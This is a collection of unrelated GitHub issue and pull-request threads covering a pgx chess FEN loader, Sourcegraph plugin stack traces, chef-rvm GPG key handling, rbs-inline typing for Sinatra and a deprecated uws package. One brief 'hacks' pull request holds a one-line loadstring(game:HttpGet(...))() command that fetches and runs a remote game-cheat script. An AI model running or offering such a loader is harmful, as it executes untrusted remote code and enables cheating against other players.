text:
Chess from_fen

Hi, is the pgx.chess._from_fen function correctly implemented?
state = pgx.chess._from_fen('rnbqkbnr/pppp1ppp/4p3/8/2P5/6P1/PP1PPP1P/RNBQKBNR b KQkq - 0 2')
print(state.current_player, state._turn)
# 0 1  # the current player is not loaded

If this function is not supposed to be used, that's fine but it could be really useful.
In my case, I want to train a model from human data (PGN -> FEN -> pgx.State).

Hi, thank you for the comment.
pgx.chess._from_fen is not exposed to users
pgx.chess._from_fen is developed only for unit-testing (see example usage in  test_chess.py)
So the function name starts with _ to avoid users to touch _from_fen.
However, as your use case looks important, I keep this issue open and we may provide from_fen function to users in the future.
Also, I guess current _from_fen reasonably works (but not well tested).
state.current_player has nothing to do with state._turn
As you may misunderstood the API, I also mention that state.current_player does NOT represent turn (white/black).
current_player is required to identify the player id over multiple parallel runs.
We'll provide the more detailed API description very soon.
(In the case of _from_fen usage, it always set current_player as zero)

Also, I guess current _from_fen reasonably works (but not well tested).

Exactly, I think with a little effort it could be added to the public chess API.

state.current_player does NOT represent turn (white/black).

I don't agree, see this example:
env = pgx.make("chess")
key = jax.random.PRNGKey(0)
key, subkey = jax.random.split(key)
state = env.init(subkey)
for _ in range(5):
    print(state.current_player)
    key, subkey = jax.random.split(key)
    action = act_randomly(subkey, state)
    state = env.step(state, action)

The output is 0 1 0 1 0
So current_player changes every turn and seems to point at the player who is moving next (white/black).
Knowing the current player is important to extract the reward:
new_state = env.step(state, action)
action_reward = new_state.rewards[state.current_player]

To extract the reward for making a move we need the current player.
So the user could either track the current player externally or env.step could return only the reward for the player making the action.
In my implementation of AlphaZero I wrapped env.init and env.step in a Gym-like API which makes it easier to use later.
How should I get the reward if current_player is not supposed to be the turn?

Thank you for your feedback :)
We are preparing a detailed document but here we show a quick illustrative example:
import jax
import jax.numpy as jnp
import pgx

# Prepare agent A and B
#   Agent A: random player
#   Agent B: baseline player provided by Pgx
A = 0
B = 1

# load environment
env = pgx.make("go_9x9")
init_fn = jax.jit(jax.vmap(env.init))
step_fn = jax.jit(jax.vmap(env.step))

# Prepare random player
from pgx.experimental.utils import act_randomly
act_randomly = jax.jit(act_randomly)
# Prepare baseline model
# Note that it additionaly requires Haiku library
model_id = "go_9x9_v0"
model = pgx.make_baseline_model(model_id)

# Initialize the states
seed = 42
batch_size = 10
key = jax.random.PRNGKey(seed)
key, subkey = jax.random.split(key)
keys = jax.random.split(subkey, batch_size)
state = init_fn(keys)
print(f"Game index: {jnp.arange(batch_size)}")
print(f"Black player: {state.current_player}")  # Note: A = 0 and  B = 1
# in other words
print(f"A is black: {state.current_player == A}")
print(f"B is black: {state.current_player == B}")

R = state.rewards
while not (state.terminated | state.truncated).all():
    # Action of random player A
    key, subkey = jax.random.split(key)
    action_A = act_randomly(subkey, state)
    # greedy action of baseline model B
    logits, value = model(state.observation)
    action_B = logits.argmax(axis=-1)

    action = jnp.where(state.current_player == A, action_A, action_B)
    state = step_fn(state, action)
    R += state.rewards

print(f"Return of agent A = {R[:, A]}")
print(f"Return of agent B = {R[:, B]}")

So

The output is 0 1 0 1 0

This just happened (with prob=0.5). You can see some game index starts with state.current_player == 1 (i.e., B)
state = init_fn(keys)
print(f"Game index: {jnp.arange(batch_size)}")
print(f"Black player: {state.current_player}")  # Note: A = 0 and  B = 1
# Game id: [0 1 2 3 4 5 6 7 8 9]
# Black player: [1 1 0 1 0 0 1 1 1 1]

So the user could either track the current player externally or env.step could return only the reward for the player making the action.

Return only a single reward (like PettingZoo API) was our API candidate but we finally decided to return rewards for all player to allow users to access like
print(f"Return of agent A = {R[:, A]}")
print(f"Return of agent B = {R[:, B]}")

Note that we can avoid to explicitly deal with the first batch dimension like [:, A] by using vmap at last.
Please feel free to ask anything.

Thank you for the detailed response.
Sorry I'm still going on about this but I want to clear this up.
I finally understood what you meant.
The first player is randomly chosen at the beginning.
But this has nothing to do with black/white going first because black always goes first (in Go).
So current player is a mapping from "agents" to physical positions around the game table like black/white. It says which agent should make the decision but not whether black/white plays.
This was what confused me the most but I think I see now.
In your example the random player plays as black/white randomly but initially I thought it always played black.
There is one thing you might have misunderstood, in my example the "0 1 0 1 0" sequence is not random. Current player switches between 0 and 1 at each call to env.step, right?
Thank you for your help.

Correction: I don't play Go but it seems black does not always play first (with handicaps). That's irrelevant to my question though, in chess the starting colour is always the same.

Thank you for your reply! I think your descriptions are correct.
Some minor comments:

in my example the "0 1 0 1 0" sequence is not random.

I just meant that there are two possible sequences "0 1 0 1 0 1 ...." and "1 0 1 0 1 0 ..." because players play by turn in chess.
As you mentioned, it's not random (except the first current_player).

I don't play Go but it seems black does not always play first (with handicaps)

I think Go is supposed to start always with black player.
Thanks!

Thanks for all the help, my AlphaZero implementation now works.
I will leave this issue open if you decide to implement a from_fen loader for the state.
About Go, it seems to be my mistake:
From https://en.wikipedia.org/wiki/Go_(game)#Rules:

Aside from the order of play (alternating moves, Black moves first or takes a handicap) ...

I noticed this and thought that maybe white can play first but it seems it's just a way to balance the game by adding extra points at the end.

Close as not planned now.

repo: sotetsuk/pgx


text:
hacks

hacks hehehehehehheheh

loadstring(game:HttpGet(“https://raw.githubusercontent.com/6Wumpus6/SpyHub/main/ShindoLife”, true))()

source: gharchive/pull-request

repo: sound-infinity/Cheat-Engine

license: MIT

license_type: permissive

license_source: github-api


text:
2.0 base changes

So. The idea behind this was to get cracking on some of the bigger changes that were discussed with @glung . I ended up losing about a month due to some other stuff but here it is in it's current format. Make with it what you will. Happy to help if I can.
Some things about the PR:

Separates Java & Android-only components (lightcycle-lib & lightcycle-android-lib. This includes adding an example that only uses base Java. I figured this is good for modularization and also allows a slightly improved array of tools to be used.
Fixed bug with base classes incorrectly swallowing item selection.
Fixes bug with base classes only accepting certain subtypes in light cycles.
Removes base classes, instead favoring the newly introduced @LightCycleBaseClass. This annotation can be put on any abstract fragment/support fragment/activity that is said to implement a LightCycleDispatcher. From there, the lightcycle-android-processor will auto-generate a LightCycle_<Original> base class that dispatches all the methods correctly.
Adds some missing test cases that were then fixed.
Tidied test code up a bit (i.e. symbolic link for the processor tests lightcycle-android-lib source folder in order to lead to fewer mismatches between code & tests.

Still todo:

[ ] Get new lightcycle-android-processor working correctly with lightcycle-processor. Right now, both work independently, but annoyingly the lightcycle-processor believes that the auto-generated class is erroring. Any help on this would be especially appreciated, as I have really no idea what I'm doing with all the processors.
[ ] Re-introduce lifts (removed for now otherwise couldn't separate Java & Android-only in its previous state & was also causing problems with user created base classes).
[ ] Not up-to-date with master (e.g. need to improve tests now given recent huge improvements in gradle & testing setup).
[ ] Add all system lifecycle & user-triggered lifecycle methods, in order to cover as many potential library user cases as possible.

Also, ofc, any other feedback/suggestions/hatred of what I've done is appreciated. :)

Nice implementation!
If I may ask, is there any other special reason to separate lightcycle-lib into Java and Android-only component beside modularization?
I saw your example (race one) and figured out it's a dispatcher for classes that implemented some interface and while I think it's also a good idea, isn't it kinda different from the main objective of Lightcycle that helps break logic out of Activity and Fragment classes into small, self-contained components?
I think I can help with the processor errors if the plan is still to separate into Java and Android-only component and also adding missing lifecycle methods! 😃

authors: NikoYuwono michaelengland

repo: soundcloud/lightcycle

license_source: bigquery


text:
make the pages

all artwork -> singolo quadro -> artista (magari link di wikipedia)
e da all artwork -> user

all drawings (likeable) -> singolo quadro -> artista con qualche suo lavoro (4 a caso)
e da all drawings -> user (ognuno con i like messi)

source: gharchive/issue


text:
Fail Cadet.Public.Updater silently in dev/test environments

Previously, an invalid GUEST_USERNAME or GUEST_PASSWORD would cause the application to crash if started with the --updater flag.
This should not be the case, since the --updater flag now encompasses more than just the news/material updater (namely, we have the assessment XML toolchain here). Someone trying to work on and test the application for the XML toolchain should not have to provide a GUEST_USERNAME or GUEST_PASSWORD in order to test their XML toolchain in the updater.
We're not 1.7 yet so no __STACKTRACE__.

Pull Request Test Coverage Report for Build 1125

4 of 8 (50.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.8%) to 99.19%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

lib/cadet/updater/public.ex
4
8
50.0%

Totals

Change from base Build 1123:
-0.8%

Covered Lines:
490

Relevant Lines:
494

💛  - Coveralls

authors: coveralls ningyuansg

repo: source-academy/cadet


text:
bug: java.util.concurrent.ExecutionException: org.eclipse.lsp4j.jsonrpc.ResponseErrorException: accessing Sourcegraph GraphQL API: Error: HTTP status code 401: Invalid access token.

Plugin version: 5.2.21709
IDE version: IU-233.13135.103
Exception: java.util.concurrent.ExecutionException: org.eclipse.lsp4j.jsonrpc.ResponseErrorException: accessing Sourcegraph GraphQL API: Error: HTTP status code 401: Invalid access token.
Stacktrace:
java.util.concurrent.ExecutionException: org.eclipse.lsp4j.jsonrpc.ResponseErrorException: accessing Sourcegraph GraphQL API: Error: HTTP status code 401: Invalid access token.
 (https://sourcegraph.com/.api/graphql?CurrentUserCodySubscription)

Error: accessing Sourcegraph GraphQL API: Error: HTTP status code 401: Invalid access token.
 (https://sourcegraph.com/.api/graphql?CurrentUserCodySubscription)
    at C:\snapshot\dist\agent.js
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async C:\snapshot\dist\agent.js
	at java.base/java.util.concurrent.CompletableFuture.reportGet(CompletableFuture.java:396)
	at java.base/java.util.concurrent.CompletableFuture.get(CompletableFuture.java:2073)
	at com.sourcegraph.cody.initialization.EndOfTrialNotificationScheduler.lambda$1$lambda$0(EndOfTrialNotificationScheduler.kt:44)
	at com.sourcegraph.cody.agent.CodyAgentService$Companion$applyAgentOnBackgroundThread$1.invoke$lambda$0(CodyAgentService.kt:109)
	at com.intellij.openapi.application.impl.ApplicationImpl$2.run(ApplicationImpl.java:249)
	at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539)
	at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
	at java.base/java.util.concurrent.Executors$PrivilegedThreadFactory$1$1.run(Executors.java:702)
	at java.base/java.util.concurrent.Executors$PrivilegedThreadFactory$1$1.run(Executors.java:699)
	at java.base/java.security.AccessController.doPrivileged(AccessController.java:399)
	at java.base/java.util.concurrent.Executors$PrivilegedThreadFactory$1.run(Executors.java:699)
	at java.base/java.lang.Thread.run(Thread.java:840)
Caused by: org.eclipse.lsp4j.jsonrpc.ResponseErrorException: accessing Sourcegraph GraphQL API: Error: HTTP status code 401: Invalid access token.
 (https://sourcegraph.com/.api/graphql?CurrentUserCodySubscription)

Error: accessing Sourcegraph GraphQL API: Error: HTTP status code 401: Invalid access token.
 (https://sourcegraph.com/.api/graphql?CurrentUserCodySubscription)
    at C:\snapshot\dist\agent.js
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async C:\snapshot\dist\agent.js
	at org.eclipse.lsp4j.jsonrpc.RemoteEndpoint.handleResponse(RemoteEndpoint.java:209)
	at org.eclipse.lsp4j.jsonrpc.RemoteEndpoint.consume(RemoteEndpoint.java:193)
	at org.eclipse.lsp4j.jsonrpc.json.StreamMessageProducer.handleMessage(StreamMessageProducer.java:194)
	at org.eclipse.lsp4j.jsonrpc.json.StreamMessageProducer.listen(StreamMessageProducer.java:94)
	at org.eclipse.lsp4j.jsonrpc.json.ConcurrentMessageProcessor.run(ConcurrentMessageProcessor.java:113)
	at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539)
	at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
	... 1 more

Hello @abdulintermo 👋 can you try to remove your account and re-authenticate? It is likely that your token expired. Sorry, we have no clear indicator for that.

authors: abdulintermo mkondratek

repo: sourcegraph/jetbrains


text:
bug: java.lang.IllegalArgumentException: Invalid range specified: (1317, 1315);

IDE Information
GoLand 2024.3
Build #GO-243.21565.208, built on November 13, 2024
Licensed to Michael Henderson
Subscription is active until January 31, 2025.
Runtime version: 21.0.5+8-b631.16 aarch64 (JCEF 122.1.9)
VM: OpenJDK 64-Bit Server VM by JetBrains s.r.o.
Toolkit: sun.lwawt.macosx.LWCToolkit
macOS 14.7.1
GC: G1 Young Generation, G1 Concurrent GC, G1 Old Generation
Memory: 16000M
Cores: 10
Metal Rendering is ON
Registry:
ide.completion.variant.limit=500
suggest.all.run.configurations.from.context=true
ide.experimental.ui=true
i18n.locale=
terminal.new.ui=true
Non-Bundled Plugins:
org.asciidoctor.intellij.asciidoc (0.43.3)
com.sourcegraph.jetbrains (7.3.2)
com.intellij.tailwindcss (243.21565.135)
Bug Description
Coding
Additional context
Stacktrace:
java.lang.IllegalArgumentException: Invalid range specified: (1317, 1315);
	at com.intellij.openapi.util.TextRange.assertProperRange(TextRange.java:288)
	at com.intellij.openapi.util.TextRange.assertProperRange(TextRange.java:283)
	at com.intellij.openapi.util.TextRange.assertProperRange(TextRange.java:279)
	at com.intellij.openapi.util.TextRange.<init>(TextRange.java:42)
	at com.intellij.openapi.util.TextRange.<init>(TextRange.java:31)
	at com.intellij.openapi.util.TextRange.create(TextRange.java:199)
	at com.sourcegraph.utils.CodyEditorUtil.getTextRange(CodyEditorUtil.kt:65)
	at com.sourcegraph.cody.autocomplete.CodyAutocompleteManager.displayAgentAutocomplete(CodyAutocompleteManager.kt:239)
	at com.sourcegraph.cody.autocomplete.CodyAutocompleteManager.processAutocompleteResult$lambda$10$lambda$9(CodyAutocompleteManager.kt:215)
	at com.intellij.openapi.command.WriteCommandAction.lambda$runWriteCommandAction$4(WriteCommandAction.java:341)
	at com.intellij.openapi.command.WriteCommandAction$BuilderImpl.lambda$doRunWriteCommandAction$1(WriteCommandAction.java:147)
	at com.intellij.openapi.application.impl.AnyThreadWriteThreadingSupport.runWriteAction$lambda$5(AnyThreadWriteThreadingSupport.kt:379)
	at com.intellij.openapi.application.impl.AnyThreadWriteThreadingSupport.runWriteAction(AnyThreadWriteThreadingSupport.kt:389)
	at com.intellij.openapi.application.impl.AnyThreadWriteThreadingSupport.runWriteAction(AnyThreadWriteThreadingSupport.kt:379)
	at com.intellij.openapi.application.impl.ApplicationImpl.runWriteAction(ApplicationImpl.java:896)
	at com.intellij.openapi.command.WriteCommandAction$BuilderImpl.lambda$doRunWriteCommandAction$2(WriteCommandAction.java:145)
	at com.intellij.openapi.command.impl.CoreCommandProcessor.executeCommand(CoreCommandProcessor.java:226)
	at com.intellij.openapi.command.impl.CoreCommandProcessor.executeCommand(CoreCommandProcessor.java:188)
	at com.intellij.openapi.command.WriteCommandAction$BuilderImpl.doRunWriteCommandAction(WriteCommandAction.java:154)
	at com.intellij.openapi.command.WriteCommandAction$BuilderImpl.run(WriteCommandAction.java:121)
	at com.intellij.openapi.command.WriteCommandAction.runWriteCommandAction(WriteCommandAction.java:341)
	at com.intellij.openapi.command.WriteCommandAction.runWriteCommandAction(WriteCommandAction.java:329)
	at com.sourcegraph.cody.autocomplete.CodyAutocompleteManager.processAutocompleteResult$lambda$10(CodyAutocompleteManager.kt:214)
	at com.intellij.openapi.application.TransactionGuardImpl.runWithWritingAllowed(TransactionGuardImpl.java:236)
	at com.intellij.openapi.application.TransactionGuardImpl.access$100(TransactionGuardImpl.java:25)
	at com.intellij.openapi.application.TransactionGuardImpl$1.run(TransactionGuardImpl.java:198)
	at com.intellij.openapi.application.impl.AnyThreadWriteThreadingSupport.runIntendedWriteActionOnCurrentThread$lambda$2(AnyThreadWriteThreadingSupport.kt:217)
	at com.intellij.openapi.application.impl.AnyThreadWriteThreadingSupport.runWriteIntentReadAction(AnyThreadWriteThreadingSupport.kt:128)
	at com.intellij.openapi.application.impl.AnyThreadWriteThreadingSupport.runIntendedWriteActionOnCurrentThread(AnyThreadWriteThreadingSupport.kt:216)
	at com.intellij.openapi.application.impl.ApplicationImpl.runIntendedWriteActionOnCurrentThread(ApplicationImpl.java:842)
	at com.intellij.openapi.application.impl.ApplicationImpl$2.run(ApplicationImpl.java:421)
	at com.intellij.util.concurrency.ChildContext$runInChildContext$1.invoke(propagation.kt:101)
	at com.intellij.util.concurrency.ChildContext$runInChildContext$1.invoke(propagation.kt:101)
	at com.intellij.util.concurrency.ChildContext.runInChildContext(propagation.kt:107)
	at com.intellij.util.concurrency.ChildContext.runInChildContext(propagation.kt:101)
	at com.intellij.util.concurrency.ContextRunnable.run(ContextRunnable.java:27)
	at com.intellij.openapi.application.impl.FlushQueue.runNextEvent(FlushQueue.java:117)
	at com.intellij.openapi.application.impl.FlushQueue.flushNow(FlushQueue.java:43)
	at java.desktop/java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:318)
	at java.desktop/java.awt.EventQueue.dispatchEventImpl(EventQueue.java:781)
	at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:728)
	at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:722)
	at java.base/java.security.AccessController.doPrivileged(AccessController.java:400)
	at java.base/java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:87)
	at java.desktop/java.awt.EventQueue.dispatchEvent(EventQueue.java:750)
	at com.intellij.ide.IdeEventQueue.defaultDispatchEvent(IdeEventQueue.kt:675)
	at com.intellij.ide.IdeEventQueue._dispatchEvent(IdeEventQueue.kt:573)
	at com.intellij.ide.IdeEventQueue.dispatchEvent$lambda$18$lambda$17$lambda$16$lambda$15(IdeEventQueue.kt:355)
	at com.intellij.openapi.progress.impl.CoreProgressManager.computePrioritized(CoreProgressManager.java:857)
	at com.intellij.ide.IdeEventQueue.dispatchEvent$lambda$18$lambda$17$lambda$16(IdeEventQueue.kt:354)
	at com.intellij.ide.IdeEventQueueKt.performActivity$lambda$2$lambda$1(IdeEventQueue.kt:1045)
	at com.intellij.openapi.application.WriteIntentReadAction.lambda$run$0(WriteIntentReadAction.java:24)
	at com.intellij.openapi.application.impl.AnyThreadWriteThreadingSupport.runWriteIntentReadAction(AnyThreadWriteThreadingSupport.kt:128)
	at com.intellij.openapi.application.impl.ApplicationImpl.runWriteIntentReadAction(ApplicationImpl.java:916)
	at com.intellij.openapi.application.WriteIntentReadAction.compute(WriteIntentReadAction.java:55)
	at com.intellij.openapi.application.WriteIntentReadAction.run(WriteIntentReadAction.java:23)
	at com.intellij.ide.IdeEventQueueKt.performActivity$lambda$2(IdeEventQueue.kt:1045)
	at com.intellij.ide.IdeEventQueueKt.performActivity$lambda$3(IdeEventQueue.kt:1054)
	at com.intellij.openapi.application.TransactionGuardImpl.performActivity(TransactionGuardImpl.java:109)
	at com.intellij.ide.IdeEventQueueKt.performActivity(IdeEventQueue.kt:1054)
	at com.intellij.ide.IdeEventQueue.dispatchEvent$lambda$18(IdeEventQueue.kt:349)
	at com.intellij.ide.IdeEventQueue.dispatchEvent(IdeEventQueue.kt:395)
	at java.desktop/java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:207)
	at java.desktop/java.awt...

duplicate of #2807

authors: PriNova mdhender


text:
extend scanner.Definition to support subpatterns/subdefinitions

I'm working on using sourcegraph/scanner and sourcegraph/lexer to create a nice pure go solution for syntax highlighting.  Currently the libraries meet most of my needs, but I feel a couple of additions could make things easier to add nicer functionality and support more languages.
Specifically, I think it would be nice to extend scanner.Definition to support subpatterns.  Something like this:
type Definition struct {
    Regex *regexp.Regexp
    Type string
    subpatterns []Definition
}

func (d Definition) Contains( s ...Definition) Definition {
    d.subpatterns = append(d.subpatterns, s...)
    return d
}

This would allow use of the patterns in lexer/common.go, but extending them in a language-specific way to support nice little additions like highlighting verbs and escapes in strings:
//In lexer/languages.go:
Languages = map[string]*Language{
"Go": &Language{
    Extensions: []string{"go"},
    Map: append([]scanner.Definition{
        // Single line comments
        regex["comments"]["oneline"],

        // Multi-line comments
        regex["comments"]["multiline"],

        // Double quote strings
        regex["strings"]["double"].Contains(
            scanner.Definition{regexp.MustCompile(`%[#0\-[:space:]+*]*[vTtbcdoqxXUeEfgGsp]`), "VERB"},
        ),
        // ...

Any thoughts on whether something like this would make a welcome addition?

I'm working on using sourcegraph/scanner and sourcegraph/lexer to create a nice pure go solution for syntax highlighting.

Hi, since I'm not familiar with your work yet, I want to ask this first:
Are you aware of https://github.com/sourcegraph/syntaxhighlight and https://github.com/sourcegraph/annotate packages? If so, are they not sufficient, and how would your syntax highlighting solution differ?
I'm just looking to clarify. Thanks!

I actually have a solution in place for my initial use case (removing the JS/Pygments dependencies from Hugo) that uses https://github.com/sourcegraph/syntaxhighlight, but it seems like it's mostly geared towards being language-agnostic for a select subset of c-like languages, and I would at the very least like  to support HTML and maybe even something like Perl at some point.
I wasn't aware of annotate.  Is that the "language-independent lexer" that syntaxhighlight uses?
Mostly what I'm after is a layer on top of something that generates nicely-formatted HTML (eventually extensible to TeX/Postscript/etc) with some additional features like in-string highlight of verbs and escape sequences and tabular views of code supporting line numbers and highlightable lines/blocks. As such, I'm not interested in changing the base library too drastically, and in fact I already have a working POC for the in-string highlighting, but it would certainly be easier if subpatterns were supported in the library.
The main thrust of this issue is whether or not this kind of thing is even the focus of lexer/scanner.

https://github.com/sourcegraph/syntaxhighlight, but it seems like it's mostly geared towards being language-agnostic for a select subset of c-like languages

Correct, syntaxhighlight is a general purpose highlighter for C-like (and other) languages. It does a pretty good job of general highlighting, but it's not perfect for any specific language.

I wasn't aware of annotate. Is that the "language-independent lexer" that syntaxhighlight uses?

Annotate allows applying multiple sets of annotations to text. For example, code highlighting in addition to some sort of other markup (perhaps this is similar to what you're describing as "in-string highlight of verbs"?).
I've also written a github.com/shurcooL/go/highlight_go package that is similar to syntaxhighlight, but targets Go specifically (and only Go). It uses go/scanner internally. Just sharing in case you find it relevant.

authors: alaska shurcooL

repo: sourcegraph/scanner

license: mit


text:
Commits not being attributed correctly

Many of my commits processed by Sourcerer are showing up as other people's, under "My commits vs. Average commits". I tried adding more emails I've committed from to my GitHub profile, and re-processing with Sourcerer, but it didn't make a difference.
Here's an example of a repo that shows up on my profile:

If you check the repo contributors, only I have commits here: https://github.com/rshipp/pkgbuilds/graphs/contributors

Several of the other projects on my Sourcerer profile are the same way, with either zero or a very small number of outside commits showing up as 50-50 split or close to it.

Hi @rshipp ,
Average commits also include your own, so there is nothing wrong with attribution here per se. When you see that your commit number is the same as average commits, this means that all commits are likely yours.
I do see your point though. As it is now, this chart may be confusing. We are currently redesigning it, and will take this into account.
Thank you!

Ah, OK, sorry for the confusion. I'm not sure I understand what the graph is showing still, but I love the UI changes you've been making so far, so I look forward to seeing how this redesign turns out.

authors: rshipp sergey-surkov

repo: sourcerer-io/sourcerer-app


text:
GPG check for user install

Hey everyone!
I realised the gpg command was added for system installs, any reason for not adding it to user installs?
I ended up doing the following to fix the gpg error:
gnupg_dir       = "/home/#{node[:user][:name]}/.gnupg"
gnupg_dir_user  = "chown -R #{node[:user][:name]}:#{node[:user][:group]} #{gnupg_dir};"
gnupg_dir_root  = "if [ -d #{gnupg_dir} ]; then chown -R root:root #{gnupg_dir}; fi;"
gnupg_cmd       = "`which gpg2 || which gpg` --keyserver hkp://keys.gnupg.net --recv-keys #{node['rvm']['gpg_key']};"

execute "Adding gpg key to #{node[:user][:name]}" do
  environment ({"HOME" => "/home/#{node[:user][:name]}"})
  command "#{gnupg_dir_root} #{gnupg_cmd} #{gnupg_dir_user}"
  not_if { node['rvm']['gpg_key'].empty? }
  returns 0
end

Not the best code, but it's working for now :smile:
I had to change the ownership because the keys are added as root and they need to belong to each user to pass the check. I tried to run the execute using the user attribute, but it didn't work either. If they already exist, they have to belong to root again other wise you get a security warning and the recipe fails.
Any better ideas for this?
Will you add a workaround for user installs soon?
Best,
Martin

@akshah123 I tried that but it didn't work, I'll try again and will let you know what I find.

@lemattma two key things are the environment & user options.
My original message was missing environment which I fixed.
It worked for me on ubuntu 12.04 with vagrant user.

I created PR for this.
@lemattma, try out the PR/fork to see if it works for you.

@akshah123 doesn't seem to work and I'm not the only one, Check this out:
https://github.com/fnichol/chef-rvm/issues/193#issuecomment-68934570

@lemattma
well they are setting cwd.  The environment value is the key.  The error
==> default: STDERR: gpg: fatal: can't create directory `/root/.gnupg': Permission denied

suggests that it is using the correct user but the wrong home folder.
By setting the home folder in environment, we can bypass that problem.
I got the same error before i added following:
environment ({"HOME" => "/home/#{user}"})

@akshah123
Yes, I tried all of that (an entire day trying), and couldn't make it work. When you use HOME it will work but the gpg files will have root as the owner and when you do the gpg check as user will fail because doesn't have access to that.
I discovered that by adding the keys manually as root on a user home folder. then when I ran the recipe again, it failed again because of permission. I chwon them to the user, ran the recipe and it worked!.
That's the story behind why I had to to what you see here https://github.com/fnichol/chef-rvm/issues/288#issue-53328772
If you could try all of this and share your results it would be awesome!

Can you use not_if and only_if in the same resource? I wouldn't have thought so and I have no idea which one takes precedence.

@docwhat, I don't see why not.  Its not about precedence as both would have to pass.
I simply took the code form here: https://github.com/fnichol/chef-rvm/blob/master/recipes/system_install.rb#L33

@akshah123, group did it for me. However, I had to comment out the only_if 'which gpg2 || which gpg' attribute otherwise the command wouldn't run. cwd was not necessary.
execute "Adding gpg key to #{node[:user][:name]}" do
  environment ({"HOME" => "/home/#{node[:user][:name]}"})
  command "`which gpg2 || which gpg` --keyserver hkp://keys.gnupg.net --recv-keys #{node['rvm']['gpg_key']};"
  user node[:user][:name]
  group node[:user][:group]
  # only_if 'which gpg2 || which gpg'
  not_if { node['rvm']['gpg_key'].empty? }
end

@lemattma @akshah123 Can you pull from master and let me know if this is fixed for you?

Closing due to inactivity.
If this is still an issue please reopen or open another issue. Alternatively drop by the #sous-chefs channel on the Chef Community Slack and we'll be happy to help!
Thanks,
Sous-Chefs

authors: akshah123 cmluciano damacus docwhat lemattma

repo: sous-chefs/chef-rvm


text:
Automated PR: Standardising Files

This PR will standardise the files we have with out agreed spec in sous-chefs/repo-management.
This repo has been identified by topic(s) of chef-cookbook

Released as: 8.1.8

repo: sous-chefs/rundeck


text:
Proposal: Singleton Class Definition within Specific Blocks

Hello,
I have been experimenting with using rbs-inline to type a Sinatra application and encountered a challenge.
In Sinatra, we use DSL methods such as helpers and get to implement the application. Here is a concrete example:
class MyApp < Sinatra::Base
  helpers do
    def bar
      'bar'
    end
  end

  get '/foo' do
    json(bar: bar) # => {"bar": "bar"}
  end
end

To call the bar method within the block of get, it is necessary to treat the method defined within the helpers block as if it were a singleton class definition.
class MyApp
  # Ideally defined as follows
  def self.bar: () -> String
end

Based on the roadmap, I understand that support for singleton class definitions is forthcoming. However, treating method definitions within specific blocks as singleton class definitions would greatly simplify type definitions for Sinatra applications using rbs-inline.
As a preliminary idea, how about the following approach? There might be better suggestions.
  helpers do #: class << self
    def bar
      'bar'
    end
  end

Thank you for reading!

:up:
This isn’t Sinatra-specific:
class Example
  instance_eval do
    def this_is_also_a_class_method = …
  end
end

While we can manually bail out with @rbs!, class << self is not in RBS.
While the use of Ruby class << self makes it unmistakable, #9 wishes to keep rbs-inline to RBS semantics as much as possible.
I don’t recall any conflicts with the existing rbs-inline by having a #: here, but it probably conflicts with Steep’s assertions.

Additionally, while we expect singleton class definitions for methods defined in helpers when called from get, I realized that methods defined in one helpers block can be called from another helpers block as well.
class MyApp < Sinatra::Base
  helpers do
    def bar
      'bar'
    end

    def bar2
      # Here we expect `def bar`
      bar
    end
  end

  get '/foo' do
    # Here we expect `def self.bar`
    json(bar: bar) # => {"bar": "bar"}
  end
end

Therefore, to represent methods defined in Sinatra's helpers in RBS, we seem to need both singleton class method definitions and regular class method definitions.
Supporting this use case in rbs-inline might not be realistic...

Following our previous discussions on the support for singleton class definitions within specific blocks in Sinatra applications, I have another idea that might be more feasible.
I propose that Steep should interpret get '/foo' do ... end blocks in Sinatra as equivalent to instance method definitions using a special annotation. This approach would mean that methods called within the get block, such as bar, are treated as instance methods. Here is a concrete example:
class MyApp < Sinatra::Base
  helpers do
    def bar
      'bar'
    end
  end

  # @some_annotation
  get '/foo' do
    json(bar: bar) # => {"bar": "bar"}
  end
end

If the above get block were interpreted as an instance method definition, it would look like this:
class MyApp
  def get_foo
    json(bar: bar) # => {"bar": "bar"}
  end
end

In this interpretation, the bar method called within the get block is clearly an instance method. This solution simplifies the type definitions for Sinatra applications using rbs-inline without requiring the simultaneous definition of singleton class methods and instance methods.
Implementing this logic within Steep might be challenging, but it would significantly enhance the usability of rbs-inline for Sinatra applications.
If this idea is worth considering, I can create an issue in the soutaro/steep to further discuss its feasibility.

Oh, my apologies. I wasn't aware of the [self: instance] annotation. The issue wasn't with the helpers method but rather that the block argument of the get method wasn't treated within the same scope as instance methods. This can be resolved using [self: instance].
https://github.com/ruby/gem_rbs_collection/pull/569
I realized this issue can be fixed with the RBS correction for the Sinatra gem, so I'll close this. Sorry for the confusion!

repo: soutaro/rbs-inline


text:
uws is deprecated

https://www.npmjs.com/package/uws

Not deprecated he just no longer uses npmjs and that's fine by me, current version works just fine I see no reason to change.

Well, at least it does not install correctly on my system (fedora 29)

Node 10
gcc 8.2.1

src/signalhubws/node_modules/uws/uws.js:40
            throw new Error('Compilation of µWebSockets has failed and there is no pre-compiled binary ' +
            ^

Error: Compilation of µWebSockets has failed and there is no pre-compiled binary available for your system. Please install a supported C++11 compiler and reinstall the module 'uws'.

Also I'm unable to find the relevant in https://github.com/alexhultman repositories.
If you are not against this idea, we can use https://github.com/ClusterWS/uWS instead.

This is blocking as uws does not compile against Node > 10.
I opened a PR, feel free to comment, accept or reject https://github.com/soyuka/signalhubws/pull/5

authors: G-Ray soyuka

repo: soyuka/signalhubws


text:
Renamer NRE

